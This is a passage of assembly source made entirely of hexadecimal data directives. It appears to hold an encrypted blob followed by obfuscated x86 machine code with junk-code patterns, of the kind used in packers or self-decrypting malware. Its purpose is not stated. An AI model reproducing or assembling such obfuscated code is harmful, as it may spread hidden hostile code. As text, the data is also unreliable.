		dd 20D6F88Eh, 0F6A765C7h, 18658E24h, 176E65F3h,	7EDC20DFh
		dd 5D1A71DFh, 0F454B286h, 0FC825593h, 6447559Bh, 3CA171DFh
		dd 0CBEDB28Eh, 0D7E3EC18h, 32D2A35Eh, 0F8977CDDh, 7B1A0921h
		dd 6053EC56h, 0ADBC77CBh, 0A81CF8BFh, 94D665FFh, 7D6871CCh
		dd 9D660661h, 0D86F1795h, 4AEE12FAh, 8D35A227h,	1CE62325h
		dd 54D0F456h, 0E85977CBh, 7B7C798Eh, 757DF419h,	1B4977CBh
		dd 15DA6761h, 0D7404B58h, 7D4F99BFh, 8EFC71DFh,	62C8B3ECh
		dd 99BF4C21h, 0A4804254h, 5FA31785h, 798C1034h,	2F0C5DFBh
		dd 2E431BF2h, 7DA17237h, 0BE8B51DFh, 5934F884h,	5970F0DBh
		dd 7D1A6BDBh, 0BE5E32DFh, 0B6293BC4h, 0F4BDCCDAh, 69A6E462h
		dd 18658ED9h, 0C36E65F3h, 0C2E2019h, 5E4F452h, 7D6777C8h
		dd 7D85998Ch, 266371DFh, 21282A1Ch, 395175FBh, 7D7475FBh
		dd 2E7771DFh, 5D62611Ch, 7113E699h, 0C289AB1Bh,	17938E16h
		dd 7E4922DFh, 5DD071DFh, 0F433B284h, 0FC305583h, 6B1E559Bh
		dd 3E0D71DFh, 0AB30B28Ch, 44C6F859h, 17A765DCh,	7E3820DFh
		dd 5D6871DFh, 0F46DB286h, 0FC1E5593h, 6A09559Bh, 3C8671DFh
		dd 98E5B28Eh, 0F8282D2Fh, 7BC46ED6h, 7521F419h,	177377CBh
		dd 7EF227DFh, 5D0D71DFh, 0F4D8B281h, 0FC4755ABh, 64A5559Bh
		dd 3BD071DFh, 31BFB289h, 55FACE29h, 5333CFB9h, 7D0D7C37h
		dd 3BBFCFDFh, 115C27F1h, 58A1A82Dh, 1589300Fh, 2CAA33E7h
		dd 5B2FDB61h, 591EF0B1h, 1B11EAAEh, 0A247F0B9h,	18F68E6Eh
		dd 17A765F3h, 7E3821DFh, 5D6871DFh, 0F46CB287h,	0FC1E559Bh
		dd 6909559Bh, 3D8671DFh, 0F40FB28Fh, 69B2284Ah,	8355FCD9h
		dd 946E66A7h, 7D3471D2h, 494C04AEh, 69A6823h, 1697AC7Dh
		dd 7D5799CDh, 24E71DFh,	0A3E09B77h, 0E06AECC3h,	0DFE27B07h
		dd 0ACC79335h, 0E886F161h, 7B927CBEh, 2A938E81h, 6BBCCCF4h
		dd 0F48E77CBh, 6974CC5Ah, 698B17D9h, 349FB7D7h,	3A0B65D7h
		dd 50C7EC56h, 602B77CBh, 2F4B51B2h, 59E4F081h, 16940CB8h
		dd 956371B5h, 7D1A71DCh, 22CE2EFFh, 79A20D56h, 7967355Eh
		dd 7DA171C2h, 2A132698h, 0B7F63E25h, 7D5DDFBDh,	939B17CAh
		dd 0C8F2DE36h, 7B925DBAh, 4DBEC4DCh, 0F82C77CBh, 7BC70921h
		dd 953B71B5h, 7D3471DCh, 26D92AFFh, 79292D56h, 79A2355Eh
		dd 7D4371CAh, 62229Ch, 7DD9980Ch, 80A571DFh, 97BF2C30h
		dd 82BE696Eh, 95C1FB0Fh, 7D8671D4h, 6AEF300Ch, 12A9C938h
		dd 0F4777EDEh, 6968DC62h, 0F8BD2BD9h, 7B0E715Eh, 955871B5h
		dd 7D8671DCh, 20802CFFh, 79851D56h, 79F4355Eh, 7D6871C5h
		dd 52F7249Ah, 644F276Bh, 0C084FA01h, 7B9262B6h,	750AF419h
		dd 17E677CBh, 7E3826DFh, 5D6871DFh, 0F46BB280h,	0FC1E55A3h
		dd 6009559Bh, 3A8671DFh, 8079B288h, 0F2C1D7B9h,	30638FE2h
		dd 7D6EF2D0h, 0F01F71DFh, 7B0E705Ah, 74FFFEB7h,	72D4218Eh
		dd 271A20EEh, 59A5F087h, 24133811h, 49A1E456h, 0C8CB77CBh
		dd 7B0E5DBAh, 0F188AF5Eh, 0F80B210Ah, 7B540921h, 0DB8D6861h
		dd 17008EB1h, 7E8023DFh, 5D3471DFh, 0F440B285h,	0FC09558Bh
		dd 6B82559Bh, 3F4371DFh, 91AB28Dh, 9C5DFA25h, 7E6E65FCh
		dd 692DE862h, 0AC9FF8D9h, 170B65FAh, 7E6E22DFh,	5D4371DFh
		dd 0F4FAB284h, 0FCD45583h, 606C559Bh, 3E3471DFh, 9D06B28Ch
		dd 6629D06Bh, 79E0CA1Bh, 0E0CAA120h, 7BB5725Eh,	7F51F456h
		dd 7D0277CBh, 7D37998Ch, 263A71DFh, 21842A1Ch, 390775FBh
		dd 7D5F75FBh, 2EE271DFh, 4A82E1Ch, 0ACA3DA1Eh, 0C0BF5843h
		dd 7B0E58AAh, 948070BFh, 728065C2h, 7D436B5Fh, 7DB599DFh
		dd 0DE6C71DFh, 57C28ADEh, 0BD006B2Bh, 4809593Fh, 4FBC5598h
		dd 1CD8DDC9h, 34C0BB5Eh, 0F1C77590h, 2BD01B07h,	7D687237h
		dd 0BE6A51DFh, 596EF881h, 5949F0DBh, 7D8667DBh,	0BE1537DFh
		dd 0F60CAD43h, 17D45515h, 7E8022DFh, 5D3471DFh,	0F441B284h
		dd 0FC095583h, 6982559Bh, 3E4371DFh, 0F6B9B28Ch, 69DA4C6Ah
		dd 0CCED70D9h, 773265FAh, 0A19E7E1Fh, 720D71DCh, 7D867752h
		dd 24F6FADFh, 0F7A765D0h, 3455B735h, 326E65D7h,	0D6F0B9h
		dd 7D1E99ABh, 11C971DFh, 7B6ECE5Fh, 0F54371DFh,	63CA8CEEh
		dd 7DC19867h, 372071DFh, 616C701h, 0F3F680D0h, 210AED58h
		dd 27C39023h, 9511218Fh, 7DA171CFh, 2CF1DCBBh, 67EC34B7h
		dd 50B3E47Bh, 0AA98E09Fh, 72578455h, 0F6DE2BEEh, 1B47559Bh
		dd 0F6F1F565h, 753811DFh, 936871DFh, 7C14D8C8h,	2B1DF405h
		dd 0F46C2B86h, 9582559Bh, 7D4371CBh, 0D47CDBDBh, 1069D5D1h
		dd 44F02B54h, 0A47527D7h, 9CD534EAh, 7D0D7C36h,	615F97DFh
		dd 0F5D316B9h, 9B77A759h, 258EE720h, 7141C456h,	0C8CB77CBh
		dd 7B0E5DBAh, 955D71B5h, 7D8671DCh, 258029FFh, 79853556h
		dd 79F4355Eh, 7D6871C7h, 86F7219Fh, 0FFD792DEh,	7D0D7C37h
		dd 0D58AD3DFh, 1113B20Eh, 53A8CAD2h, 64622E08h,	83EDFC81h
		dd 0F43266A7h, 6915D86Ah, 72DD8ED9h, 7D86705Ah,	0BDC084DFh
		dd 2DA11BFBh, 7DD07237h, 0BE3051DFh, 5970F887h,	595EF0DBh
		dd 7D0D6CDBh, 0BED631DFh, 2AF9C6E1h, 7E605022h,	0C05B2CE5h
		dd 7B7C715Ah, 75A9F456h, 7D7077CBh, 7D0E9989h, 23A671DFh
		dd 9CA2F1Ch, 392075FBh,	7DC775FBh, 2B2E71DFh, 0C1DCF81Ch
		dd 44D0F0B5h, 1B7556E1h, 0F80DBE54h, 7B57735Eh,	5870EC54h
		dd 3E2C77CBh, 953F71B5h, 7D3471DCh, 22D92EFFh, 79290D56h
		dd 79A2355Eh, 7D4371C2h, 53622698h, 0AF5B68h, 8D597458h
		dd 8FB51717h, 669199D0h, 955871B5h, 7D8671DCh, 20802CFFh
		dd 79851D56h, 79F4355Eh, 7D6871C9h, 5FF7249Ah, 6691A056h
		dd 7D676A54h, 7D85998Fh, 256371DFh, 3928291Ch, 395175FBh
		dd 7D7275FBh, 2D7471DFh, 73BFC51Ch, 0B93789B7h,	7DECA9ECh
		dd 7D409989h, 238171DFh, 9592F1Ch, 39E975FBh, 7D2C75FBh
		dd 2B5C71DFh, 9C4461Ch,	0FD8993FFh, 7D4371DBh, 0E13CC8B9h
		dd 7B79EC56h, 7D0277CBh, 7D37998Fh, 253A71DFh, 3984291Ch
		dd 390775FBh, 7D5875FBh, 2DE171DFh, 0B5F1E31Ch,	3F8474C7h
		dd 34B1B7A2h, 3A1C65D7h, 955E71B5h, 7D8671DCh, 26802AFFh
		dd 79852D56h, 79F4355Eh, 7D6871C5h, 0CFF7229Ch,	8A6D3894h
		dd 0BEBC5DEDh, 4CF7CCEEh
		dd 0D22B77CBh, 1BE51468h, 0FCD20C61h, 589255DBh, 7D5E02A6h
		dd 7D199989h, 232D71DFh, 90F2F1Ch, 39C275FBh, 7DB675FBh
		dd 2B9671DFh, 0A75F941Ch, 0E001CB04h, 0E83332C5h, 7B1941C2h
		dd 51E3C420h, 70AB77CBh, 41A171DFh, 0E381AEB4h,	70170B0Bh
		dd 0D3572BC3h, 6057FC54h, 0F05777CBh, 6AFE8F5Ah, 2F431BD9h
		dd 7DA17237h, 0BE8A51DFh, 593CF885h, 5970F0DBh,	7D1A66DBh
		dd 0BE5F33DFh, 0FC5316CEh, 7D437D36h, 9E14FCDFh, 6972E1BEh
		dd 12C10DFAh, 17E48EC7h, 7EF226DFh, 5D0D71DFh, 0F4D9B280h
		dd 0FC4755A3h, 6BA5559Bh, 3AD071DFh, 0B901B288h, 0C35211BEh
		dd 8791DD86h, 0C088F8BEh, 0F68065C3h, 69564062h, 9C2CFAD9h
		dd 3DD665C1h, 953F71B5h, 7D3471DCh, 22D92EFFh, 79290D56h
		dd 79A2355Eh, 7D4371C5h, 59622698h, 8BBF3629h, 0E8E3DA77h
		dd 7B207506h, 7D707154h, 7D0E998Eh, 24A671DFh, 31CA281Ch
		dd 392075FBh, 7DC875FBh, 2C2971DFh, 291B61Ch, 0F4484891h
		dd 69123862h, 0F80F2ED9h, 7B574226h, 7DCB7154h,	7DD3998Dh
		dd 274871DFh, 29BD2B1Ch, 399B75FBh, 7D1475FBh, 2FC471DFh
		dd 6420CA1Ch, 943E4DF3h, 7DD071CDh, 76BAF345h, 0A906BE9Fh
		dd 1FE947A1h, 0B82BA2E2h, 0F80FCEFBh, 7B577D36h, 6440FC56h
		dd 153977CBh, 1B6871DEh, 1B87C961h, 0F0D5AA65h,	6AA5755Ah
		dd 2C861BD9h, 7D437237h, 0BEF851DFh, 599CF886h,	592CF0DBh
		dd 7D3465DBh, 0BE4B30DFh, 2DC6FAD9h, 7D866037h,	2A997ADFh
		dd 6294AA42h, 7760E5AAh, 56EC45E1h, 0F53B1AE1h,	7D1A71DDh
		dd 0F4529D55h, 0C80D55DBh, 7B575E66h, 567CE420h, 855B77CBh
		dd 0D562EC52h, 7D5E77C8h, 7D199989h, 232D71DFh,	90F2F1Ch
		dd 39C275FBh, 7DBC75FBh, 2B9671DFh, 9B05F31Ch, 8F111B9Bh
		dd 0C21F9C67h, 7BF5CEE6h, 0F455FA8Fh, 7D2955C3h, 7DA2998Ch
		dd 26F071DFh, 21E12A1Ch, 39B575FBh, 7D0D75FBh, 2E4E71DFh
		dd 0E51E621Ch, 7D579838h, 23D871DFh, 4D36A08Ah,	4F1EC645h
		dd 0A59805CAh, 0DE6CC7Ch, 0FA02D4A4h, 7D8671D1h, 0D4DEF8BFh
		dd 0FCA765ECh, 0AB1FD535h, 1BF810FCh, 1B648354h, 0EDF75761h
		dd 955C71B5h, 7D8671DCh, 248028FFh, 79853D56h, 79F4355Eh
		dd 7D6871CAh, 82F7209Eh, 8A9117F0h, 76C0E420h, 7DEC77CBh
		dd 7D409989h, 238171DFh, 9592F1Ch, 39E975FBh, 7D2275FBh
		dd 2B5C71DFh, 154E591Ch, 6B4BF456h, 0F8CA77CBh,	7BB57942h
		dd 958771B5h, 7D6871DCh, 22F72EFFh, 793E0D56h, 7929355Eh
		dd 7D8671CAh, 7F802698h, 34FA9Ch, 76D665D1h, 69696452h
		dd 0CB9FAD9h, 0BB1C65CDh, 6905385Ah, 776E22D9h,	2F4371DFh
		dd 0F9464239h, 0CC7B46E3h, 78DDFA30h, 273265C8h, 7D1A7537h
		dd 0FA890EDFh, 7D8A9875h, 8DE771DFh, 0F614D45Ah, 2E293ADDh
		dd 0C3380F32h, 671DFDE4h, 793E3554h, 0F66B7154h, 59C2F828h
		dd 2588FADBh, 5FA4C8B9h, 51B5C420h, 0E8E377CBh,	7B207D3Ah
		dd 9D8F0B9h, 8388FC77h,	0FC8066A7h, 0DC567D01h,	17718EB5h
		dd 7E3826DFh, 5D6871DFh, 0F46BB280h, 0FC1E55A3h, 6509559Bh
		dd 3A8671DFh, 58C7B288h, 549E59F3h, 69DF645Ah, 0D0EDF8D9h
		dd 173265ECh, 7EF220DFh, 5D0D71DFh, 0F4DFB286h,	0FC475593h
		dd 60A5559Bh, 3CD071DFh, 20FEB28Eh, 0CCD231F3h,	0BD0F9783h
		dd 6D40CC56h, 0F84077CBh, 7B577996h, 2FA11B98h,	7DD07237h
		dd 0BE3251DFh, 5960F885h, 595EF0DBh, 7D0D67DBh,	0BED433DFh
		dd 1577B828h, 0D0832693h, 7DD4FDD0h, 0CB3F71DFh, 49B52B06h
		dd 2D58ADFBh, 2F0D1BD3h, 7D867237h, 0BE1951DFh,	59F5F885h
		dd 5994F0DBh, 7D6866DBh, 0BE6633DFh, 9E1DF8DFh,	7D1BF6D0h
		dd 726E71DFh, 9E4371DFh, 6430E873h, 0B323338Dh,	5A99698Bh
		dd 24CDEBB3h, 517FC420h, 0E80677CBh, 7B92510Ah,	5BDF452h
		dd 7DCB77C8h, 7DD3998Dh, 274871DFh, 29BD2B1Ch, 399B75FBh
		dd 7D1875FBh, 2FC471DFh, 95813D1Ch, 7DA171D7h, 14FCA567h
		dd 7AFAC6D9h, 78A94081h, 821C65CFh, 60B8F80Fh, 0F48065C4h
		dd 6953F05Ah, 28A11BD9h, 7DD07237h, 0BE3551DFh,	5958F882h
		dd 595EF0DBh, 7D0D67DBh, 0BED334DFh, 0BB997397h, 69A9385Ah
		dd 7DBA22D9h, 7D6B998Fh, 251471DFh, 3993291Ch, 398C75FBh
		dd 7D9B75FBh, 2D0371DFh, 0BF63DC1Ch, 87697A8Eh,	1B32A28Eh
		dd 72D26861h, 8D72A260h, 2DD6E307h, 72D4218Dh, 7D437153h
		dd 1D907EDFh, 72882BBEh, 0FC302BEEh, 0FA5455EBh, 7D703374h
		dd 7D0E998Ch, 26A671DFh, 21CA2A1Ch, 392075FBh, 7DCC75FBh
		dd 2E2B71DFh, 70D6CB1Ch, 29153Eh, 6FE5208Ch, 0FE8671DFh
		dd 77C23F28h, 8AF7870Ah, 6EE2AD94h, 2DBA118h, 18A97893h
		dd 241C65DCh, 7D0D6137h, 0A29BBBDFh, 4844CA8Ch,	3AFBB97Ch
		dd 7FD211DCh, 7BE87E83h, 723471DFh, 7D1A715Bh, 0C8F228DFh
		dd 7B925DBAh, 951371B5h, 7DA171DCh, 251329FFh, 794C3556h
		dd 7910355Eh, 7D1A71C9h, 0C9CE219Fh, 0C80D092Ch, 7B575282h
		dd 55FF452h, 728177C8h,	7D687058h, 826A88DFh, 2E1A1B0Fh
		dd 7D0D7237h, 0BEDD51DFh, 591FF884h, 59E5F0DBh,	7DD06BDBh
		dd 0BE3B32DFh, 0FCA52077h, 1D81C134h, 6F64CC56h, 0D73D77CBh
		dd 1C3FF491h, 7678F456h, 0F6B677CBh, 34EDB711h,	2A3265D7h
		dd 637FB75Eh, 35652C5Dh, 0C3D13E68h, 1ADBC8FFh,	0C385755Eh
		dd 72E8C545h, 7D687759h, 74815ADFh, 821C65F5h, 6921146Ah
		dd 8303FCD9h, 174566A7h, 7E4920DFh, 5DD071DFh, 0F431B286h
		dd 0FC305593h, 681E559Bh, 3C0D71DFh, 0E863B28Eh, 6B7AE4DEh
		dd 0AD5E77CBh, 2278C08Ch, 57E1F456h, 8FB477CBh,	349FB751h
		dd 3E0B65D7h, 1557CED0h, 2E594204h, 7920BF54h, 0BEC3CFBh
		dd 2A681BB6h, 7D347237h, 0BE4551DFh, 5971F880h,	59C2F0DBh
		dd 7D4366DBh, 0BEF636DFh, 0B963B6A3h, 7D686237h, 9B3D72DFh
		dd 1AC8D7A7h, 0C03AFF03h, 86BD17F7h, 70B5CBABh,	0E267C8B9h
		dd 74381181h, 0E66871DFh, 3AB6D035h, 4BDB9BE4h,	7BC0EC56h
		dd 72DC77CBh, 7D437751h, 481CF8DFh, 1CD665CDh, 510DC420h
		dd 7D5E77CBh, 7D199988h, 222D71DFh, 10F2E1Ch, 39C275FBh
		dd 7DBA75FBh, 2A9771DFh, 0D81FC61Ch, 9557CD70h,	839FFC19h
		dd 880B66A7h, 7DECA120h, 7D40998Dh, 278171DFh, 29592B1Ch
		dd 39E975FBh, 7D2075FBh, 2F5871DFh, 0E83C0C1Ch,	7B926EE2h
		dd 0B3CC8B9h, 74D0F456h, 0F9DF77CBh, 7D6871D9h,	52C1CC54h
		dd 0FB1577CBh, 7D0D71DCh, 0F07CCED0h, 6AE48B5Ah, 0E4345AD9h
		dd 0FDD665CAh, 2E384D3Eh, 0D792DF60h, 79932FD4h, 82F6FAFBh
		dd 69ADAC4Ah, 0E8DEF8D9h, 0F6A765F9h, 40657807h, 0F06E65D9h
		dd 6A939F5Ah, 2D1A1BD9h, 7D0D7237h, 0BEDE51DFh,	5907F887h
		dd 59E5F0DBh, 7DD06CDBh, 0BE3831DFh, 3DEFF372h,	93E6C2A0h
		dd 2B5D3965h, 5982F881h, 6C92F456h, 94F177CBh, 7DD071CBh
		dd 8EF25585h, 2A36AE59h, 785E36CAh, 0E62CA6CFh,	0E5CF738Eh
		dd 17676D56h, 7E4922DFh, 5DD071DFh, 0F433B284h,	0FC305583h
		dd 6B1E559Bh, 3E0D71DFh, 706BB28Ch, 0B0D68E4Dh,	7CA765D4h
		dd 69E4086Ah, 7D6498D9h, 925D71DFh, 90411556h, 3033C4C9h
		dd 0F80FFCA1h, 7B5763CEh, 95F671B5h, 7DD071DCh,	22AB2EFFh
		dd 79100D56h, 793E355Eh, 7D0D71C2h, 0F8452698h,	67E459DBh
		dd 0DAC7ABAh, 7DC4985Dh, 0FA1571DFh, 0B5C440DAh, 0FB4E8D5Eh
		dd 664C7925h, 8EA89C9Ch
		dd 0F8848185h, 7BB55DDAh, 7DD071D0h, 7D6EF8D0h,	8CB571DFh
		dd 42F8CB42h, 3B43C661h, 6C138EE8h, 174565CDh, 7E4924DFh
		dd 5DD071DFh, 0F435B282h, 0FC3055B3h, 661E559Bh, 380D71DFh
		dd 0E47EB28Ah, 6471438Ah, 0F6C769E2h, 1855F82Fh, 956E65D5h
		dd 7D3471DAh, 0E73B0587h, 98FAD1h, 238065CDh, 7B0AF454h
		dd 0E02C77CBh, 7BC7CAA9h, 0F0693256h, 691DF862h, 2DAFFCD9h
		dd 0C40B6664h, 7D8671ECh, 4EA8D52Ch, 7DA17167h,	9107ADFh
		dd 7D70B3DCh, 71103554h, 7D1A998Ch, 0FC5671DFh,	7D86661Ch
		dd 591FF8DFh, 59E5F8CFh, 4A682ACBh, 8268C125h, 5970FA3Fh
		dd 72FA8EDBh, 7D0D7F53h, 0F00D11DFh, 7B57706Ah,	51E8E456h
		dd 1DB177CBh, 7D6EF8D0h, 0C03F71DFh, 7B0E6846h,	0FD6C8854h
		dd 0F0E7D016h, 6AE49F62h, 0BA2CFCD9h, 0C5D66664h, 0E54EDAEAh
		dd 7ACDF4ECh, 0B23177CBh, 0B51D981Eh, 0DC953B71h, 0FF7D3471h
		dd 5626D92Ah, 5E79292Dh, 0C779A235h, 837D4371h,	0A4F305E9h
		dd 0BD03D98Bh, 614296Dh, 41F28166h, 70E925h, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 0E9EBEAC3h, 0Bh, 8AD06816h, 0C5615E6Dh, 6144C325h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0A3C35747h, 4CCFFAD7h
		dd 890FBFCEh, 13h, 0EE9h, 43A5E300h, 4F6DF597h,	6DBE944Bh
		dd 60AC290Ah, 0C361C28Bh, 0C08B6160h, 0C9816660h, 0E9612F3Ch
		dd 6, 0BBC16901h, 0BD83EACDh, 61410F1h,	83097500h, 140E25BDh
		dd 19740006h, 0C08B5350h, 4B9B8h, 0F1858900h, 8D061424h
		dd 16A7B99Dh, 5BD3FF06h, 25BD8358h, 6140Eh, 53501774h
		dd 4B9B8h, 0F1858900h, 8D061424h, 16A45A9Dh, 5BD3FF06h
		dd 51006A58h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 15820F69h, 60000000h, 0E8DAB70Fh, 0Ah, 812A595Eh
		dd 0BCE59ACEh, 6158F171h, 0C7CD8060h, 0CED5BE66h, 53006A61h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 8BA45B3Dh, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 9E94Bh, 0D42E0000h, 32BF8A0Ah, 402904E4h
		dd 6E9C18Bh, 0E6000000h, 0C0802570h, 4EBBCh, 89000000h
		dd 14081585h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 413F4D39h, 0BD0B9060h, 6140025h
		dd 0C25BD89h, 858D0614h, 6140791h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 39C35343h, 58B39B1Bh, 0F279621h
		dd 0FA8BFBBFh, 5D14E681h, 0F505CD2h, 587h, 0ABA4BE00h
		dd 4890ACCh, 56006A24h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 8164669Bh, 0A08D88D7h, 6A006A1Dh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 328CC356h, 0B54274E3h, 9BF2C42h, 14165585h
		dd 0F9006A06h, 1CCD8529h, 858D0614h, 617BEE7h, 6A05C083h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 0D25EC355h, 1E6734CFh, 11BD895Ch,	66061423h
		dd 8950F78Bh, 81662404h, 6A9BB6C6h, 0FACF8100h,	6A547589h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 52B6CE25h, 66DA8EE9h, 0FFEFD2BEh, 141B1995h
		dd 8DB58B06h, 66061409h, 0AF20E681h, 0A7789D8Dh, 0BD8B0617h
		dd 6142A91h, 0B58BD3FFh, 6141279h, 2DED85FFh, 6A0614h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 0E90C94C3h, 6ECh, 0E8h, 0ED815D00h, 617BEF1h, 3E5B58Bh
		dd 0BD810614h, 6142C05h, 7D0h, 1A8860Fh, 0F4BE0000h, 8B773CEDh
		dd 1431259Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 3E60AFD9h, 7B966D32h, 0DE9h, 0BC231700h
		dd 8B320497h, 39DCFB1h,	0E381D676h, 100h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Ch, 0C8C35242h, 0CD644B7Fh
		dd 660A08EDh, 8E9h, 0E664CE00h,	0DA6AB3EDh, 5860F10h, 0BF000000h
		dd 18BBBDF1h, 850FDB0Bh, 0BAh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 52C35545h, 0F048BF32h, 0BD831C93h
		dd 617BD5Fh, 4C840F00h,	6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 30BCC356h
		dd 66895B90h, 315F681h,	71E9h, 53006A00h, 3E8h,	0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 1EEF287Ch
		dd 0C7E9A854h, 17BD5F85h, 106h,	63F78100h, 502758DBh, 4BDB589h
		dd 0E95F0614h, 32h, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 0BBC35747h, 606541EAh, 85C75A54h, 617BD5Fh
		dd 0
		dd 25CDB58Bh, 9D8D0614h, 6143125h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 0B8C35343h,	0DF81C0A1h, 6AA9AF06h
		dd 0FEFF2381h, 6AFFFFh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 6DC4F5C3h, 24E99589h, 8C660614h
		dd 4C3F6DBh, 3F840Fh, 85890000h, 6141529h, 121195FFh, 9D890614h
		dd 6142A8Dh, 0E8BEBF90h, 8B5062B5h, 6A90F7h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 8B1432C3h
		dd 140015BDh, 389E906h,	81660000h, 0BEBD53CEh, 5BC32Eh
		dd 6A00B0h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 8B6661C3h, 0E6F38BFAh, 57006A70h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 0AFE78130h
		dd 0E4687554h, 4BBF6671h, 0D8B60FF3h, 6BAh, 0DB52B00h
		dd 8B061416h, 4E8C1C3h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ch, 0F3C35040h, 4CAC48AEh, 3351DA35h, 0F9E2F766h
		dd 6AD82Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 6C50C3C3h, 0FE80Dh, 6DA90000h, 0A6ECA9BBh
		dd 0DB6A3ADEh, 64323F68h, 935EF54Ah, 33B1BF66h,	0E9609350h
		dd 12h,	0E248B4B9h, 2FE3DBC3h, 5870A39Dh, 5B62D9B4h, 0BD01CA33h
		dd 61406C1h, 5B5FF61h, 6A06142Ch, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 7EF0C351h
		dd 260DB589h, 0BF660614h, 95FF1CF8h, 6142971h, 6A00B0h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 0E6899BC3h, 71E4F570h, 701BD8Bh, 0CE80614h, 10000000h
		dd 1CAABD99h, 0FA85CFA9h, 8BBC3D95h, 14180DB5h,	613C5E06h
		dd 21D830Fh, 0B60F0000h, 0CE960D8h, 67000000h, 57D1D48Bh
		dd 1B5FBDAh, 89AFC115h,	1416EDBDh, 8D896106h, 6140711h
		dd 6BAh, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 2EBF66F4h, 6AC38B22h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 22F5C355h
		dd 5D73BDB8h, 8B9F4827h, 1400B9B5h, 19B58B06h, 0C1061411h
		dd 0B58B04E8h, 6141235h, 6AE2F766h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0D660C352h
		dd 18B1B58Bh, 0D82B0614h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 9AC35040h, 0EE986h, 7FCB0000h, 0F7C22014h
		dd 4033D997h, 0AD6BDA67h, 0A9950158h, 2B06142Dh, 34880FD8h
		dd 6A000001h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 4152C353h, 0F2B70F3Dh,	7B9h, 59BD8B00h
		dd 83061410h, 0BD8900C1h, 614064Dh, 860FD93Bh, 0F7h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 2AC35141h, 7E8589Ch
		dd 4D000000h, 4E2CE3EAh, 880F0BE8h, 6, 2D99B58Bh, 665F0614h
		dd 8B66EABFh, 0D98C66FAh, 8E9h,	5D13B000h, 0DA0D2587h
		dd 4C1F6F9h, 7A840Fh, 5F570000h, 121195FFh, 51600614h
		dd 5BC3B70Fh, 2D21BD89h, 5B610614h, 110DB58Bh, 0BF0F0614h
		dd 66C32BF0h, 3D2219BEh, 834h, 4A860Fh,	14E90000h, 0EC000000h
		dd 9E38DF3Ch, 1D66E2FDh, 0B8E4F603h, 5596AF9Fh,	0E92E61D9h
		dd 53h,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh
		dd 0CC35646h, 7F4C0E01h, 0F25392Fh, 8589FFB7h, 6140C41h
		dd 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 2D7C89C3h, 49958957h, 8B06141Ch, 6AD88BC3h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 457DC353h, 0A9858950h, 5F06141Ah,	10C585C7h
		dd 75350614h, 0BE9382Eh, 0E7000000h, 6A5A2D11h,	392BA5FBh
		dd 0C08BF129h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Bh,	95C35040h, 812A595Eh, 89E59ACEh, 1403F18Dh, 11BD2906h
		dd 81061408h, 142C05BDh, 7D006h, 58850F00h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 9B84C353h, 23384AAAh, 25B58B2Fh, 0FF061423h
		dd 142C0585h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 5EE79D8Bh, 0EF6E09FBh, 31BD89C4h
		dd 0FF061431h, 142C05B5h, 18B0F06h, 0FC000000h,	297195FFh
		dd 6A0614h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 0B9D15EC3h, 0ED057B10h, 896D8F10h, 141391BDh
		dd 78B89006h, 89123456h, 140CC5BDh, 0AA9D8D06h,	0E90617C5h
		dd 0FFFFF92Ch, 0FE9h, 0A6754100h, 0FFD74EB5h, 5000BE51h
